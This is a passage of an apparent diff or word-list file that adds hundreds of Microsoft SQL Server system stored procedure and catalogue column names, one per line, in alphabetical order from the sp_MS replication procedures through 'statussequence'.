+sp_MSadd_replmergealert +sp_MSadd_snapshot_agent +sp_MSadd_snapshot_history +sp_MSadd_subscriber_info +sp_MSadd_subscriber_schedule +sp_MSadd_subscription +sp_MSadd_subscription_3rd +sp_MSaddsubscriptionarticles +sp_MSadd_tracer_history +sp_MSadd_tracer_token +sp_MSadjust_pub_identity +sp_MSagent_retry_stethoscope +sp_MSagent_stethoscope +sp_MSallocate_new_identity_range +sp_MSalreadyhavegeneration +sp_MSanonymous_status +sp_MSarticlecleanup +sp_MSbrowsesnapshotfolder +sp_MScache_agent_parameter +sp_MScdc_capture_job +sp_MScdc_cleanup_job +sp_MScdc_db_ddl_event +sp_MScdc_ddl_event +sp_MScdc_logddl +sp_MSchange_article +sp_MSchangearticleresolver +sp_MSchange_distribution_agent_properties +sp_MSchangedynamicsnapshotjobatdistributor +sp_MSchangedynsnaplocationatdistributor +sp_MSchange_logreader_agent_properties +sp_MSchange_merge_agent_properties +sp_MSchange_mergearticle +sp_MSchange_mergepublication +sp_MSchangeobjectowner +sp_MSchange_originatorid +sp_MSchange_priority +sp_MSchange_publication +sp_MSchange_retention +sp_MSchange_retention_period_unit +sp_MSchange_snapshot_agent_properties +sp_MSchange_subscription_dts_info +sp_MScheck_agent_instance +sp_MScheck_dropobject +sp_MScheckexistsgeneration +sp_MScheckexistsrecguid +sp_MScheckfailedprevioussync +sp_MScheckidentityrange +sp_MScheckIsPubOfSub +sp_MScheck_Jet_Subscriber +sp_MScheck_logicalrecord_metadatamatch +sp_MScheck_merge_subscription_count +sp_MScheck_pub_identity +sp_MScheck_pull_access +sp_MSchecksharedagentforpublication +sp_MScheck_snapshot_agent +sp_MSchecksnapshotstatus +sp_MScheck_subscription +sp_MScheck_subscription_expiry +sp_MScheck_subscription_partition +sp_MScheck_tran_retention +sp_MScleanup_agent_entry +sp_MScleanup_conflict +sp_MScleanupdynamicsnapshotfolder +sp_MScleanupdynsnapshotvws +sp_MSCleanupForPullReinit +sp_MScleanupmergepublisher +sp_MScleanupmergepublisher_internal +sp_MScleanup_publication_ADinfo +sp_MScleanup_subscription_distside_entry +sp_MSclear_dynamic_snapshot_location +sp_MSclearresetpartialsnapshotprogressbit +sp_MScomputelastsentgen +sp_MScomputemergearticlescreationorder +sp_MScomputemergeunresolvedrefs +sp_MSconflicttableexists +sp_MScreate_all_article_repl_views +sp_MScreate_article_repl_views +sp_MScreatedisabledmltrigger +sp_MScreate_dist_tables +sp_MScreatedummygeneration +sp_MScreateglobalreplica +sp_MScreatelightweightinsertproc +sp_MScreatelightweightmultipurposeproc +sp_MScreatelightweightprocstriggersconstraints +sp_MScreatelightweightupdateproc +sp_MScreate_logical_record_views +sp_MScreatemergedynamicsnapshot +sp_MScreateretry +sp_MScreate_sub_tables +sp_MScreate_tempgenhistorytable +sp_MSdbuseraccess +sp_MSdbuserpriv +sp_MSdefer_check +sp_MSdeletefoldercontents +sp_MSdeletemetadataactionrequest +sp_MSdeletepeerconflictrow +sp_MSdeleteretry +sp_MSdelete_tracer_history +sp_MSdeletetranconflictrow +sp_MSdelgenzero +sp_MSdelrow +sp_MSdelrowsbatch +sp_MSdelrowsbatch_downloadonly +sp_MSdelsubrows +sp_MSdelsubrowsbatch +sp_MSdependencies +sp_MSdetectinvalidpeerconfiguration +sp_MSdetectinvalidpeersubscription +sp_MSdetect_nonlogged_shutdown +sp_MSdist_activate_auto_sub +sp_MSdist_adjust_identity +sp_MSdistpublisher_cleanup +sp_MSdistribution_counters +sp_MSdistributoravailable +sp_MSdodatabasesnapshotinitiation +sp_MSdopartialdatabasesnapshotinitiation +sp_MSdrop_6x_publication +sp_MSdrop_6x_replication_agent +sp_MSdrop_anonymous_entry +sp_MSdrop_article +sp_MSdroparticleconstraints +sp_MSdroparticletombstones +sp_MSdropconstraints +sp_MSdrop_distribution_agent +sp_MSdrop_distribution_agentid_dbowner_proxy +sp_MSdrop_dynamic_snapshot_agent +sp_MSdropdynsnapshotvws +sp_MSdropfkreferencingarticle +sp_MSdrop_logreader_agent +sp_MSdrop_merge_agent +sp_MSdropmergearticle +sp_MSdropmergedynamicsnapshotjob +sp_MSdrop_merge_subscription +sp_MSdropobsoletearticle +sp_MSdrop_publication +sp_MSdrop_qreader_history +sp_MSdropretry +sp_MSdrop_snapshot_agent +sp_MSdrop_snapshot_dirs +sp_MSdrop_subscriber_info +sp_MSdrop_subscription +sp_MSdrop_subscription_3rd +sp_MSdrop_tempgenhistorytable +sp_MSdroptemptable +sp_MSdummyupdate +sp_MSdummyupdate90 +sp_MSdummyupdatelightweight +sp_MSdummyupdate_logicalrecord +sp_MSdynamicsnapshotjobexistsatdistributor +sp_MSenable_publication_for_het_sub +sp_MSensure_single_instance +sp_MSenumallpublications +sp_MSenumallsubscriptions +sp_MSenumarticleslightweight +sp_MSenumchanges +sp_MSenumchanges_belongtopartition +sp_MSenumchangesdirect +sp_MSenumchangeslightweight +sp_MSenumchanges_notbelongtopartition +sp_MSenumcolumns +sp_MSenumcolumnslightweight +sp_MSenumdeletes_forpartition +sp_MSenumdeleteslightweight +sp_MSenumdeletesmetadata +sp_MSenum_distribution +sp_MSenumdistributionagentproperties +sp_MSenum_distribution_s +sp_MSenum_distribution_sd +sp_MSenumerate_PAL +sp_MSenumgenerations +sp_MSenumgenerations90 +sp_MSenum_logicalrecord_changes +sp_MSenum_logreader +sp_MSenum_logreader_s +sp_MSenum_logreader_sd +sp_MSenum_merge +sp_MSenum_merge_agent_properties +sp_MSenum_merge_s +sp_MSenum_merge_sd +sp_MSenum_merge_subscriptions +sp_MSenum_merge_subscriptions_90_publication +sp_MSenum_merge_subscriptions_90_publisher +sp_MSenum_metadataaction_requests +sp_MSenumpartialchanges +sp_MSenumpartialchangesdirect +sp_MSenumpartialdeletes +sp_MSenumpubreferences +sp_MSenum_qreader +sp_MSenum_qreader_s +sp_MSenum_qreader_sd +sp_MSenumreplicas +sp_MSenumreplicas90 +sp_MSenum_replication_agents +sp_MSenum_replication_job +sp_MSenum_replqueues +sp_MSenum_replsqlqueues +sp_MSenumretries +sp_MSenumschemachange +sp_MSenum_snapshot +sp_MSenum_snapshot_s +sp_MSenum_snapshot_sd +sp_MSenum_subscriptions +sp_MSenumsubscriptions +sp_MSenumthirdpartypublicationvendornames +sp_MSestimatemergesnapshotworkload +sp_MSestimatesnapshotworkload +sp_MSevalsubscriberinfo +sp_MSevaluate_change_membership_for_all_articles_in_pubid +sp_MSevaluate_change_membership_for_pubid +sp_MSevaluate_change_membership_for_row +sp_MSexecwithlsnoutput +sp_MSfast_delete_trans +sp_MSfetchAdjustidentityrange +sp_MSfetchidentityrange +sp_MSfillupmissingcols +sp_MSfilterclause +sp_MSfix_6x_tasks +sp_MSfixlineageversions +sp_MSFixSubColumnBitmaps +sp_MSfixupbeforeimagetables +sp_MSflush_access_cache +sp_MSforce_drop_distribution_jobs +sp_MSforcereenumeration +sp_MSforeachdb +sp_MSforeachtable +sp_MSforeach_worker +sp_MSgenerateexpandproc +sp_MSget_agent_names +sp_MSgetagentoffloadinfo +sp_MSgetalertinfo +sp_MSgetalternaterecgens +sp_MSgetarticlereinitvalue +sp_MSget_attach_state +sp_MSgetchangecount +sp_MSgetconflictinsertproc +sp_MSgetconflicttablename +sp_MSGetCurrentPrincipal +sp_MSgetdatametadatabatch +sp_MSgetdbversion +sp_MSget_DDL_after_regular_snapshot +sp_MSgetdynamicsnapshotapplock +sp_MSget_dynamic_snapshot_location +sp_MSgetdynsnapvalidationtoken +sp_MSgetgenstatus4rows +sp_MSget_identity_range_info +sp_MSgetisvalidwindowsloginfromdistributor +sp_MSget_jobstate +sp_MSgetlastrecgen +sp_MSgetlastsentgen +sp_MSgetlastsentrecgens +sp_MSget_last_transaction +sp_MSgetlastupdatedtime +sp_MSget_latest_peerlsn +sp_MSgetlightweightmetadatabatch +sp_MSget_load_hint +sp_MSget_logicalrecord_lineage +sp_MSget_log_shipping_new_sessionid +sp_MSgetmakegenerationapplock +sp_MSgetmakegenerationapplock_90 +sp_MSgetmaxbcpgen +sp_MSgetmaxsnapshottimestamp +sp_MSget_max_used_identity +sp_MSgetmergeadminapplock +sp_MSgetmetadatabatch +sp_MSgetmetadatabatch90 +sp_MSgetmetadatabatch90new +sp_MSgetmetadata_changedlogicalrecordmembers +sp_MSget_min_seqno +sp_MSget_MSmerge_rowtrack_colinfo +sp_MSget_new_xact_seqno +sp_MSget_oledbinfo +sp_MSgetonerow +sp_MSgetonerowlightweight +sp_MSget_partitionid_eval_proc +sp_MSgetpeerconflictrow +sp_MSgetpeerlsns +sp_MSgetpeertopeercommands +sp_MSgetpeerwinnerrow +sp_MSgetpubinfo +sp_MSget_publication_from_taskname +sp_MSget_publisher_rpc +sp_MSget_repl_cmds_anonymous +sp_MSget_repl_commands +sp_MSget_repl_error +sp_MSgetreplicainfo +sp_MSgetreplicastate +sp_MSgetrowmetadata +sp_MSgetrowmetadatalightweight +sp_MSget_server_portinfo +sp_MSGetServerProperties +sp_MSget_session_statistics +sp_MSgetsetupbelong_cost +sp_MSget_shared_agent +sp_MSget_snapshot_history +sp_MSgetsubscriberinfo +sp_MSget_subscriber_partition_id +sp_MSget_subscription_dts_info +sp_MSget_subscription_guid +sp_MSgetsupportabilitysettings +sp_MSget_synctran_commands +sp_MSgettrancftsrcrow +sp_MSgettranconflictrow +sp_MSget_type_wrapper +sp_MSgetversion +sp_MSgrantconnectreplication +sp_MShaschangeslightweight +sp_MShasdbaccess +sp_MShelp_article +sp_MShelpcolumns +sp_MShelpconflictpublications +sp_MShelpcreatebeforetable +sp_MShelpdestowner +sp_MShelp_distdb +sp_MShelp_distribution_agentid +sp_MShelpdynamicsnapshotjobatdistributor +sp_MShelpfulltextindex +sp_MShelpfulltextscript +sp_MShelp_identity_property +sp_MShelpindex +sp_MShelplogreader_agent +sp_MShelp_logreader_agentid +sp_MShelp_merge_agentid +sp_MShelpmergearticles +sp_MShelpmergeconflictcounts +sp_MShelpmergedynamicsnapshotjob +sp_MShelpmergeidentity +sp_MShelpmergeschemaarticles +sp_MShelpobjectpublications +sp_MShelp_profile +sp_MShelp_profilecache +sp_MShelp_publication +sp_MShelp_repl_agent +sp_MShelp_replication_status +sp_MShelp_replication_table +sp_MShelpreplicationtriggers +sp_MShelp_snapshot_agent +sp_MShelpsnapshot_agent +sp_MShelp_snapshot_agentid +sp_MShelp_subscriber_info +sp_MShelp_subscription +sp_MShelp_subscription_status +sp_MShelpsummarypublication +sp_MShelptracertokenhistory +sp_MShelptracertokens +sp_MShelptranconflictcounts +sp_MShelptype +sp_MShelpvalidationdate +sp_MSIfExistsSubscription +sp_MSindexspace +sp_MSinitdynamicsubscriber +sp_MSinit_publication_access +sp_MSinit_subscription_agent +sp_MSinsertdeleteconflict +sp_MSinserterrorlineage +sp_MSinsertgenerationschemachanges +sp_MSinsertgenhistory +sp_MSinsert_identity +sp_MSinsertlightweightschemachange +sp_MSinsertschemachange +sp_MSinvalidate_snapshot +sp_MSIsContainedAGSession +sp_MSisnonpkukupdateinconflict +sp_MSispeertopeeragent +sp_MSispkupdateinconflict +sp_MSispublicationqueued +sp_MSisreplmergeagent +sp_MSissnapshotitemapplied +sp_MSkilldb +sp_MSlock_auto_sub +sp_MSlock_distribution_agent +sp_MSlocktable +sp_MSloginmappings +sp_MSmakearticleprocs +sp_MSmakebatchinsertproc +sp_MSmakebatchupdateproc +sp_MSmakeconflictinsertproc +sp_MSmakectsview +sp_MSmakedeleteproc +sp_MSmakedynsnapshotvws +sp_MSmakeexpandproc +sp_MSmakegeneration +sp_MSmakeinsertproc +sp_MSmakemetadataselectproc +sp_MSmakeselectproc +sp_MSmakesystableviews +sp_MSmakeupdateproc +sp_MSmap_partitionid_to_generations +sp_MSmarkreinit +sp_MS_marksystemobject +sp_MSmatchkey +sp_MSmerge_alterschemaonly +sp_MSmerge_altertrigger +sp_MSmerge_alterview +sp_MSmerge_ddldispatcher +sp_MSmerge_getgencount +sp_MSmerge_getgencur_public +sp_MSmerge_is_snapshot_required +sp_MSmerge_log_identity_range_allocations +sp_MSmerge_parsegenlist +sp_MSmergesubscribedb +sp_MSmergeupdatelastsyncinfo +sp_MSmerge_upgrade_subscriber +sp_MSneedmergemetadataretentioncleanup +sp_MSNonSQLDDL +sp_MSNonSQLDDLForSchemaDDL +sp_MSobjectprivs +sp_MSpeerapplyresponse +sp_MSpeerapplytopologyinfo +sp_MSpeerconflictdetection_statuscollection_applyresponse +sp_MSpeerconflictdetection_statuscollection_sendresponse +sp_MSpeerconflictdetection_topology_applyresponse +sp_MSpeerdbinfo +sp_MSpeersendresponse +sp_MSpeersendtopologyinfo +sp_MSpeertopeerfwdingexec +sp_MSpostapplyscript_forsubscriberprocs +sp_MSpost_auto_proc +sp_MSprepare_mergearticle +sp_MSprep_exclusive +sp_MSprofile_in_use +sp_MSproxiedmetadata +sp_MSproxiedmetadatabatch +sp_MSproxiedmetadatalightweight +sp_MSpub_adjust_identity +sp_MSpublication_access +sp_MSpublicationcleanup +sp_MSpublicationview +sp_MSquerysubtype +sp_MSquery_syncstates +sp_MSrecordsnapshotdeliveryprogress +sp_MSreenable_check +sp_MSrefresh_anonymous +sp_MSrefresh_publisher_idrange +sp_MSregenerate_mergetriggersprocs +sp_MSregisterdynsnapseqno +sp_MSregistermergesnappubid +sp_MSregistersubscription +sp_MSreinit_failed_subscriptions +sp_MSreinit_hub +sp_MSreinitoverlappingmergepublications +sp_MSreinit_subscription +sp_MSreleasedynamicsnapshotapplock +sp_MSreleasemakegenerationapplock +sp_MSreleasemergeadminapplock +sp_MSreleaseSlotLock +sp_MSreleasesnapshotdeliverysessionlock +sp_MSremove_mergereplcommand +sp_MSremoveoffloadparameter +sp_MSreplagentjobexists +sp_MSrepl_agentstatussummary +sp_MSrepl_backup_complete +sp_MSrepl_backup_start +sp_MSreplcheckoffloadserver +sp_MSreplcheck_permission +sp_MSrepl_check_publisher +sp_MSreplcheck_pull +sp_MSreplcheck_subscribe +sp_MSreplcheck_subscribe_withddladmin +sp_MSreplcopyscriptfile +sp_MSrepl_createdatatypemappings +sp_MSrepl_distributionagentstatussummary +sp_MSrepl_dropdatatypemappings +sp_MSrepl_enumarticlecolumninfo +sp_MSrepl_enumpublications +sp_MSrepl_enumpublishertables +sp_MSrepl_enumsubscriptions +sp_MSrepl_enumtablecolumninfo +sp_MSrepl_FixPALRole +sp_MSrepl_getdistributorinfo +sp_MSrepl_getpkfkrelation +sp_MSrepl_gettype_mappings +sp_MSrepl_helparticlermo +sp_MS_replication_installed +sp_MSrepl_init_backup_lsns +sp_MSrepl_isdbowner +sp_MSrepl_IsLastPubInSharedSubscription +sp_MSrepl_IsUserInAnyPAL +sp_MSrepl_linkedservers_rowset +sp_MSrepl_mergeagentstatussummary +sp_MSrepl_monitor_job_at_failover +sp_MSrepl_PAL_rolecheck +sp_MSrepl_raiserror +sp_MSreplraiserror +sp_MSrepl_reinit_jobsync_table +sp_MSreplremoveuncdir +sp_MSrepl_schema +sp_MSrepl_setNFR +sp_MSrepl_snapshot_helparticlecolumns +sp_MSrepl_snapshot_helppublication +sp_MSrepl_startup +sp_MSrepl_startup_internal +sp_MSrepl_subscription_rowset +sp_MSrepl_testadminconnection +sp_MSrepl_testconnection +sp_MSreplupdateschema +sp_MSrequestreenumeration +sp_MSrequestreenumeration_lightweight +sp_MSreset_attach_state +sp_MSreset_queued_reinit +sp_MSresetsnapshotdeliveryprogress +sp_MSreset_subscription +sp_MSreset_subscription_seqno +sp_MSreset_synctran_bit +sp_MSreset_transaction +sp_MSrestoresavedforeignkeys +sp_MSretrieve_publication_attributes +sp_MSscript_article_view +sp_MSscriptcustomdelproc +sp_MSscriptcustominsproc +sp_MSscriptcustomupdproc +sp_MSscriptdatabase +sp_MSscriptdb_worker +sp_MSscript_dri +sp_MSscriptforeignkeyrestore +sp_MSscript_pub_upd_trig +sp_MSscriptsubscriberprocs +sp_MSscript_sync_del_proc +sp_MSscript_sync_del_trig +sp_MSscript_sync_ins_proc +sp_MSscript_sync_ins_trig +sp_MSscript_sync_upd_proc +sp_MSscript_sync_upd_trig +sp_MSscriptviewproc +sp_MSsendtosqlqueue +sp_MSsetaccesslist +sp_MSsetalertinfo +sp_MSsetartprocs +sp_MSsetbit +sp_MSsetconflictscript +sp_MSsetconflicttable +sp_MSsetcontext_bypasswholeddleventbit +sp_MSsetcontext_replagent +sp_MSset_dynamic_filter_options +sp_MSsetgentozero +sp_MSsetlastrecgen +sp_MSsetlastsentgen +sp_MSset_logicalrecord_metadata +sp_MSset_new_identity_range +sp_MSset_oledb_prop +sp_MSsetreplicainfo +sp_MSsetreplicaschemaversion +sp_MSsetreplicastatus +sp_MSset_repl_serveroptions +sp_MSsetrowmetadata +sp_MSSetServerProperties +sp_MSset_snapshot_xact_seqno +sp_MSset_sub_guid +sp_MSsetsubscriberinfo +sp_MSset_subscription_properties +sp_MSsettopology +sp_MSsetupbelongs +sp_MSsetup_identity_range +sp_MSsetupnosyncsubwithlsnatdist +sp_MSsetupnosyncsubwithlsnatdist_cleanup +sp_MSsetupnosyncsubwithlsnatdist_helper +sp_MSsetup_partition_groups +sp_MSsetup_use_partition_groups +sp_MSSharedFixedDisk +sp_MSSQLDMO70_version +sp_MSSQLDMO80_version +sp_MSSQLDMO90_version +sp_MSSQLOLE65_version +sp_MSSQLOLE_version +sp_MSstartdistribution_agent +sp_MSstartmerge_agent +sp_MSstartsnapshot_agent +sp_MSstopdistribution_agent +sp_MSstopmerge_agent +sp_MSstopsnapshot_agent +sp_MSsub_check_identity +sp_MSsubscription_status +sp_MSsubscriptionvalidated +sp_MSsub_set_identity +sp_MStablechecks +sp_MStablekeys +sp_MStablerefs +sp_MStablespace +sp_MStestbit +sp_MStran_ddlrepl +sp_MStran_is_snapshot_required +sp_MStrypurgingoldsnapshotdeliveryprogress +sp_MSuniquename +sp_MSunmarkifneeded +sp_MSunmarkreplinfo +sp_MSunmarkschemaobject +sp_MSunregistersubscription +sp_MSupdate_agenttype_default +sp_MSupdatecachedpeerlsn +sp_MSupdategenerations_afterbcp +sp_MSupdategenhistory +sp_MSupdateinitiallightweightsubscription +sp_MSupdatelastsyncinfo +sp_MSupdatepeerlsn +sp_MSupdaterecgen +sp_MSupdatereplicastate +sp_MSupdate_singlelogicalrecordmetadata +sp_MSupdate_subscriber_info +sp_MSupdate_subscriber_schedule +sp_MSupdate_subscriber_tracer_history +sp_MSupdate_subscription +sp_MSupdatesysmergearticles +sp_MSupdate_tracer_history +sp_MSuplineageversion +sp_MSuploadsupportabilitydata +sp_MSuselightweightreplication +sp_MSvalidatearticle +sp_MSvalidate_dest_recgen +sp_MSvalidate_subscription +sp_MSvalidate_wellpartitioned_articles +sp_MSwritemergeperfcounter +sp_new_parallel_nested_tran_id +sp_OACreate +sp_OADestroy +sp_OAGetErrorInfo +sp_OAGetProperty +sp_OAMethod +sp_OASetProperty +sp_OAStop +sp_objectfilegroup +sp_oledb_database +sp_oledb_defdb +sp_oledb_deflang +sp_oledbinfo +sp_oledb_language +sp_oledb_ro_usrname +sp_ORbitmap +sp_password +sp_peerconflictdetection_tableaug +sp_persistent_version_cleanup +sp_pkeys +sp_polybase_authorize +sp_polybase_join_group +sp_polybase_leave_group +sp_polybase_show_objects +sp_PostAgentInfo +sp_posttracertoken +sp_prepare +sp_prepexec +sp_prepexecrpc +sp_primarykeys +sp_primary_keys_rowset +sp_primary_keys_rowset2 +sp_primary_keys_rowset_rmt +sp_procedure_params_100_managed +sp_procedure_params_100_rowset +sp_procedure_params_100_rowset2 +sp_procedure_params_90_rowset +sp_procedure_params_90_rowset2 +sp_procedure_params_managed +sp_procedure_params_rowset +sp_procedure_params_rowset2 +sp_procedures_rowset +sp_procedures_rowset2 +sp_processlogshippingmonitorhistory +sp_processlogshippingmonitorprimary +sp_processlogshippingmonitorsecondary +sp_processlogshippingretentioncleanup +sp_process_memory_leak_record +sp_procoption +sp_prop_oledb_provider +sp_provider_types_100_rowset +sp_provider_types_90_rowset +sp_provider_types_rowset +sp_publicationsummary +sp_publication_validation +sp_publish_database_to_syms +sp_publishdb +sp_publisherproperty +sp_query_store_clear_hints +sp_query_store_consistency_check +sp_query_store_flush_db +sp_query_store_force_plan +sp_query_store_remove_plan +sp_query_store_remove_query +sp_query_store_reset_exec_stats +sp_query_store_set_hints +sp_query_store_unforce_plan +sp_rbpex_exec_cmd +sp_rda_deauthorize_db +sp_rda_get_rpo_duration +sp_rda_reauthorize_db +sp_rda_reconcile_batch +sp_rda_reconcile_columns +sp_rda_reconcile_indexes +sp_rda_set_query_mode +sp_rda_set_rpo_duration +sp_rda_test_connection +sp_readerrorlog +sp_recompile +sp_redirect_publisher +sp_refresh_heterogeneous_publisher +sp_refresh_log_shipping_monitor +sp_refresh_parameter_encryption +sp_refresh_single_snapshot_view +sp_refresh_snapshot_views +sp_refreshsqlmodule +sp_refreshsubscriptions +sp_refreshview +sp_registercustomresolver +sp_register_custom_scripting +sp_reinitmergepullsubscription +sp_reinitmergesubscription +sp_reinitpullsubscription +sp_reinitsubscription +sp_release_all_fido_locks +sp_releaseapplock +sp_release_fido_lock +sp_releaseschemalock +sp_remote_data_archive_event +sp_remoteoption +sp_remove_columnstore_column_dictionary +sp_removedbreplication +sp_removedistpublisherdbreplication +sp_removesrvreplication +sp_rename +sp_renamedb +sp_repladdcolumn +sp_replcleanupccsprocs +sp_replcmds +sp_replcounters +sp_replddlparser +sp_repldeletequeuedtran +sp_repldone +sp_repldropcolumn +sp_replflush +sp_repl_generateevent +sp_repl_generate_subscriber_event +sp_repl_generate_sync_status_event +sp_replgetparsedddlcmd +sp_replhelp +sp_replica +sp_replication_agent_checkup +sp_replicationdboption +sp_replincrementlsn +sp_replmonitorchangepublicationthreshold +sp_replmonitorgetoriginalpublisher +sp_replmonitorhelpmergesession +sp_replmonitorhelpmergesessiondetail +sp_replmonitorhelpmergesubscriptionmoreinfo +sp_replmonitorhelppublication +sp_replmonitorhelppublicationthresholds +sp_replmonitorhelppublisher +sp_replmonitorhelpsubscription +sp_replmonitorrefreshjob +sp_replmonitorsubscriptionpendingcmds +sp_replpostsyncstatus +sp_replqueuemonitor +sp_replrestart +sp_replrethrow +sp_replsendtoqueue +sp_replsetoriginator +sp_replsetsyncstatus +sp_replshowcmds +sp_replsqlqgetrows +sp_replsync +sp_repltrans +sp_replwritetovarbin +sp_requestpeerresponse +sp_requestpeertopologyinfo +sp_reserve_http_namespace +sp_reset_connection +sp_reset_session_context +sp_resetsnapshotdeliveryprogress +sp_resetstatus +sp_resign_database +sp_resolve_logins +sp_restoredbreplication +sp_restore_filelistonly +sp_restoremergeidentityrange +sp_resyncexecute +sp_resyncexecutesql +sp_resyncmergesubscription +sp_resyncprepare +sp_resyncuniquetable +sp_revokedbaccess +sp_revokelogin +sp_revoke_publication_access +sp_rollback_parallel_nested_tran +sp_schemafilter +sp_schemata_rowset +sp_scriptdelproc +sp_scriptdynamicupdproc +sp_scriptinsproc +sp_scriptmappedupdproc +sp_scriptpublicationcustomprocs +sp_script_reconciliation_delproc +sp_script_reconciliation_insproc +sp_script_reconciliation_sinsproc +sp_script_reconciliation_vdelproc +sp_script_reconciliation_xdelproc +sp_scriptsinsproc +sp_scriptsubconflicttable +sp_scriptsupdproc +sp_script_synctran_commands +sp_scriptupdproc +sp_scriptvdelproc +sp_scriptvupdproc +sp_scriptxdelproc +sp_scriptxupdproc +sp_sequence_get_range +sp_server_diagnostics +sp_server_info +sp_serveroption +sp_setapprole +sp_SetAutoSAPasswordAndDisable +sp_set_data_processed_limit +sp_setdefaultdatatypemapping +sp_set_distributed_query_context +sp_setnetname +sp_SetOBDCertificate +sp_setOraclepackageversion +sp_setreplfailovermode +sp_set_session_context +sp_set_session_resource_group +sp_setsubscriptionxactseqno +sp_settriggerorder +sp_setuserbylogin +sp_showcolv +sp_showinitialmemo_xml +sp_showlineage +sp_showmemo_xml +sp_show_openrowset_statistics +sp_showpendingchanges +sp_showrowreplicainfo +sp_sm_detach +sp_spaceused +sp_spaceused_remote_data_archive +sp_sparse_columns_100_rowset +sp_special_columns +sp_special_columns_100 +sp_special_columns_90 +sp_sproc_columns +sp_sproc_columns_100 +sp_sproc_columns_90 +sp_sqlagent_add_job +sp_sqlagent_add_jobstep +sp_sqlagent_delete_job +sp_sqlagent_help_jobstep +sp_sqlagent_log_job_history +sp_sqlagent_start_job +sp_sqlagent_stop_job +sp_sqlagent_verify_database_context +sp_sqlagent_write_jobstep_log +sp_sqlexec +sp_sqljdbc_xa_install +sp_sqljdbc_xa_uninstall +sp_srvrolepermission +sp_start_fixed_vlf +sp_startmergepullsubscription_agent +sp_startmergepushsubscription_agent +sp_startpublication_snapshot +sp_startpullsubscription_agent +sp_startpushsubscription_agent +sp_start_streaming_job +sp_start_user_instance +sp_statistics +sp_statistics_100 +sp_statistics_rowset +sp_statistics_rowset2 +sp_stopmergepullsubscription_agent +sp_stopmergepushsubscription_agent +sp_stoppublication_snapshot +sp_stoppullsubscription_agent +sp_stoppushsubscription_agent +sp_stop_streaming_job +sp_stored_procedures +sp_subscribe +sp_subscription_cleanup +sp_subscriptionsummary +sp_synapse_link_enable_db +sp_synapse_link_enable_table +sp_syspolicy_execute_policy +sp_syspolicy_subscribe_to_policy_category +sp_syspolicy_unsubscribe_from_policy_category +sp_syspolicy_update_ddl_trigger +sp_syspolicy_update_event_notification +sp_tablecollations +sp_tablecollations_100 +sp_tablecollations_90 +sp_table_constraints_rowset +sp_table_constraints_rowset2 +sp_tableoption +sp_table_privileges +sp_table_privileges_ex +sp_table_privileges_rowset +sp_table_privileges_rowset2 +sp_table_privileges_rowset_rmt +sp_tables +sp_tables_ex +sp_tables_info_90_rowset +sp_tables_info_90_rowset2 +sp_tables_info_90_rowset2_64 +sp_tables_info_90_rowset_64 +sp_tables_info_rowset +sp_tables_info_rowset2 +sp_tables_info_rowset2_64 +sp_tables_info_rowset_64 +sp_tables_rowset +sp_tables_rowset2 +sp_tables_rowset_rmt +sp_table_statistics2_rowset +sp_table_statistics_rowset +sp_tableswc +sp_table_type_columns_100 +sp_table_type_columns_100_rowset +sp_table_type_pkeys +sp_table_type_primary_keys_rowset +sp_table_types +sp_table_types_rowset +sp_table_validation +sp_testlinkedserver +spt_fallback_db +spt_fallback_dev +spt_fallback_usg +spt_monitor +sp_trace_create +sp_trace_generateevent +sp_trace_getdata +sp_trace_setevent +sp_trace_setfilter +sp_trace_setstatus +sp_try_set_session_context +spt_values +sp_unbindefault +sp_unbindrule +sp_unprepare +sp_unregistercustomresolver +sp_unregister_custom_scripting +sp_unsetapprole +sp_unsubscribe +sp_update_agent_profile +sp_updateextendedproperty +sp_update_logical_pause_flag +sp_updatestats +sp_update_user_instance +sp_upgrade_log_shipping +sp_user_counter1 +sp_user_counter10 +sp_user_counter2 +sp_user_counter3 +sp_user_counter4 +sp_user_counter5 +sp_user_counter6 +sp_user_counter7 +sp_user_counter8 +sp_user_counter9 +sp_usertypes_rowset +sp_usertypes_rowset2 +sp_usertypes_rowset_rmt +sp_validatecache +sp_validatelogins +sp_validatemergepublication +sp_validatemergepullsubscription +sp_validatemergesubscription +sp_validate_redirected_publisher +sp_validate_replica_hosts_as_publishers +sp_validlang +sp_validname +sp_verify_database_ledger +sp_verifypublisher +sp_views_rowset +sp_views_rowset2 +sp_vupgrade_mergeobjects +sp_vupgrade_mergetables +sp_vupgrade_mergetables_v2 +sp_vupgrade_replication +sp_vupgrade_replsecurity_metadata +sp_who +sp_who2 +sp_xa_commit +sp_xa_end +sp_xa_forget +sp_xa_forget_ex +sp_xa_init +sp_xa_init_ex +sp_xa_prepare +sp_xa_prepare_ex +sp_xa_recover +sp_xa_rollback +sp_xa_rollback_ex +sp_xa_start +sp_xcs_mark_column_relation +sp_xml_preparedocument +sp_xml_removedocument +sp_xml_schema_rowset +sp_xml_schema_rowset2 +sp_xp_cmdshell_proxy_account +sp_xtp_bind_db_resource_pool +sp_xtp_checkpoint_force_garbage_collection +sp_xtp_control_proc_exec_stats +sp_xtp_control_query_exec_stats +sp_xtp_flush_temporal_history +sp_xtp_kill_active_transactions +sp_xtp_merge_checkpoint_files +sp_xtp_objects_present +sp_xtp_set_memory_quota +sp_xtp_slo_can_downgrade +sp_xtp_slo_downgrade_finished +sp_xtp_slo_prepare_to_downgrade +sp_xtp_unbind_db_resource_pool +sql +sqlagent_job_history +sqlagent_jobs +sqlagent_jobsteps +sqlagent_jobsteps_logs +sqlbytes +sqlcrypt_version +SQL_DATA_ACCESS +sql_db_id +sql_dependencies +SqlDumperDumpFlags +SqlDumperDumpPath +SqlDumperDumpTimeOut +sql_expression_dependencies +sql_handle +SqlHandle +sql_logins +sql_memory_model +sql_memory_model_desc +sql_message_id +sql_modules +SQL_PATH +sql_plan_node_id +sql_prof_address +sqlserver_start_time +sqlserver_start_time_ms_ticks +sql_severity +sql_spid +sql_text +sql_variant +srvcollation +srvid +srvname +srvnetname +srvproduct +srvstatus +ssl_port +ssrv +stack_address +stack_base_address +stack_bytes_committed +stack_bytes_used +stack_checker_address +stack_end_address +stack_size_in_bytes +stage +stale_query_threshold_days +start_column_id +start_date +started_by_sqlservr +started_count +start_entry_point +start_log_block_id +start_lsn +start_quantum +start_step_id +start_time +StartTime +start_time_utc +startup_state +startup_time +startup_type +startup_type_desc +start_value +START_VALUE +statblob +state +State +state_desc +state_description +state_machine_name +statement +statement_context_id +statement_end_offset +statement_line_number +statement_offset_begin +statement_offset_end +statement_offset_start +statement_sql_handle +statement_start_offset +statement_type +statistical_semantics +statistics_start_time +stats +stats_blob +stats_column_id +stats_columns +stats_enabled +stats_generation_method +stats_generation_method_desc +stats_id +stats_schema_ver +status +status2 +status_desc +status_description +statussequence 